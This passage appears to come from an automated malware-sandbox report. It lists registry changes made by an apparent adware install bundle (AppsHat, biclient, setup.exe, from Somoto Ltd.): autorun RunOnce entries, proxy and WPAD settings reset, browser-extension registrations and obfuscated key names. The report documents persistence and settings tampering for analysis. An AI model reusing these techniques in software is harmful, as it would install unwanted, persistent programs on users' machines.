"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{128C2DA6-2BC0-44C0-B3F6-4EC22E647964}]
"(Default)" = "IProcessLauncher"

[HKCR\Interface\{4E223325-C16B-4EEB-AEDC-19AA99A237FA}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{DAB1D343-1B2A-47F9-B445-93DC50704BFE}]
"(Default)" = "ICoCreateAsync"

[HKCR\Interface\{B3A47570-0A85-4AEA-8270-529D47899603}]
"(Default)" = "ICredentialDialog"

[HKCR\Interface\{5B25A8DC-1780-4178-A629-6BE8B8DEFAA2}]
"(Default)" = "IBrowserHttpRequest2"

The Application deletes the following registry key(s):

[HKCR\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}\InprocServer32]
[HKCR\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}]
[HKCR\CLSID\{003EB908-0B86-44F8-86F0-B19A7022449C}\InprocHandler32]
[HKCR\CLSID\{003EB908-0B86-44F8-86F0-B19A7022449C}]

The process GoogleUpdateComRegisterShell64.exe:3060 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The Application deletes the following registry key(s):

[HKCR\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}\InprocServer32]
[HKCR\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}]

The process GoogleUpdateComRegisterShell64.exe:556 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The Application deletes the following registry key(s):

The process TPAutoConnSvc.exe:1776 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ThinPrint\TPPrnUI\NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1]
"TrayData" = "2,Tray 3, 3,Tray 2, 1,Tray 1, 4,Manual Feed, 7,Auto Select"
"FormData" = "1,2159,2794,LetterÃ‚Â¶40,40,2086,2712, 5,2159,3556,LegalÃ‚Â¶40,40,2086,3474, 9,2100,2970,A4Ã‚Â¶39,39,2032,2890, 7,1842,2667,ExecutiveÃ‚Â¶40,40,1761,2585, 258,2159,3302,8.5 x 13 (custom)Ã‚Â¶40,40,2086,3220, 11,1480,2100,A5Ã‚Â¶39,39,1408,2020, 70,1050,1480,A6Ã‚Â¶39,39,975,1399, 13,1820,2570,B5 (JIS)Ã‚Â¶39,39,1747,2490, 264,1950,2700,16K 195x270Ã‚Â¶39,39,1882,2620, 263,1840,2600,16K 184x260Ã‚Â¶39,39,1761,2520, 257,1970,2730,16K 197x273Ã‚Â¶39,39,1896,2650, 43,1000,1480,Japanese PostcardÃ‚Â¶39,39,921,1399, 82,1480,2000,Double Japan Postcard RotatedÃ‚Â¶39,39,1408,1919, 20,1046,2413,Envelope #10Ã‚Â¶40,40,975,2331, 37,983,1905,Envelope MonarchÃ‚Â¶40,40,907,1823, 34,1760,2500,Envelope B5Ã‚Â¶39,39,1693,2420, 28,1620,2290,Envelope C5Ã‚Â¶39,39,1544,2209, 27,1100,2200,Envelope DLÃ‚Â¶39,39,1029,2120"
"DelAfterCreate" = "1"

[HKU\.DEFAULT\Printers\DevModes2]
"NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1" = "4E 00 50 00 49 00 34 00 35 00 36 00 41 00 42 00"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\ThinPrint\TPPrnUI\NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1]

The process appshat.exe:1728 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EC 0F 01 BE A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "9F 4E 6B D5 A2 45 D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 49 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "9F 4E 6B D5 A2 45 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process biclient.exe:2492 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:3852 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6F D5 45 93 A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351514833"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 40 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "6F D5 45 93 A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "6F D5 45 93 A2 45 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_marimedia_1" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:1020 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6F D5 45 93 A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 42 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "34 EF A5 B3 A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "34 EF A5 B3 A2 45 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_marimedia_1" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process setup.exe:1644 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "90 41 E1 BA A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\422.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "EC 0F 01 BE A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "EC 0F 01 BE A2 45 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process wpm_v20.0.0.1714_0204.exe:3892 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 46 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process GoogleCrashHandler64.exe:3040 makes changes in the system registry.
The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process 1D30.tmp:3428 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "34 EF A5 B3 A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "90 41 E1 BA A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "90 41 E1 BA A2 45 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process 0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe:3268 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\App Lid\ZgVdy Kv8E3sQzvRSrzMNSxgb2scjI4Exw0R8SUnfZvr019E7/5Ie8f3lCdZ TRBGqmNPaq3TBocbo6ar isYqnJ5otXNmflrhMVaTl3fomx5t tK36qD8aLZcEvoDEJ18EC3eJ qa5sCIuwDpZcRhjijXApTkwBC2sW36055OE=]
"mOINTZ1TOk1gnpqii0oyS2P6a5khbytie2GUfct9m6YvkfHI2aYxf2eCWxPMFouShSVYumTcnEucW5nssC8uZiUX2e3FP7xilZS2M6O4CtCI5B8VL9fsDkcLGlmhIk7zeDoiiKhy hM3RTDfFc3V/faird01VT9JR8TVVwUgiBM=" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Kjqh69roWxZWuD2beV/UMRK75JaOmTm5b15SEywNOfFF8fx0jT9BegadGBmlmTxmLdm vfh4XbZw6ia Zc 25bDOhqvZKzGQkYt0ioUyNYiPI298YOmsjc0WPIKGN3ke6Y8vpUmXYSZQIzJ/ wJELqRZTul1jZga9HTyrHCQciA=]
"Ye5tsfKmPeFrYuILtDnlOql5DsOoaDYHAXu6Ew1Ozy8GS68zqlBnB8uQP2aCiR4colkqqhwd6yzQ7NSru2vFZg4OV58ECALjThTwo3rzkiOxwH66HZ83AO4PhzgLIjeHVfNhbkFBnj2HiURGIfr7DI2o6GUhJzNmN7HiKkWm dc=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process powershell.exe:2576 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:1956 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3536 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process appshat_generic.exe:3424 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EC 0F 01 BE A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "B5 3B 13 D5 A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayName" = "AppsHat Mobile Apps"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"Publisher" = "Somoto Ltd."
"DisplayVersion" = "1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "B5 3B 13 D5 A2 45 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]

The Application deletes the following value(s) in system registry:

The process STab_Down_6.0.6.8.exe:3144 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EC 0F 01 BE A2 45 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

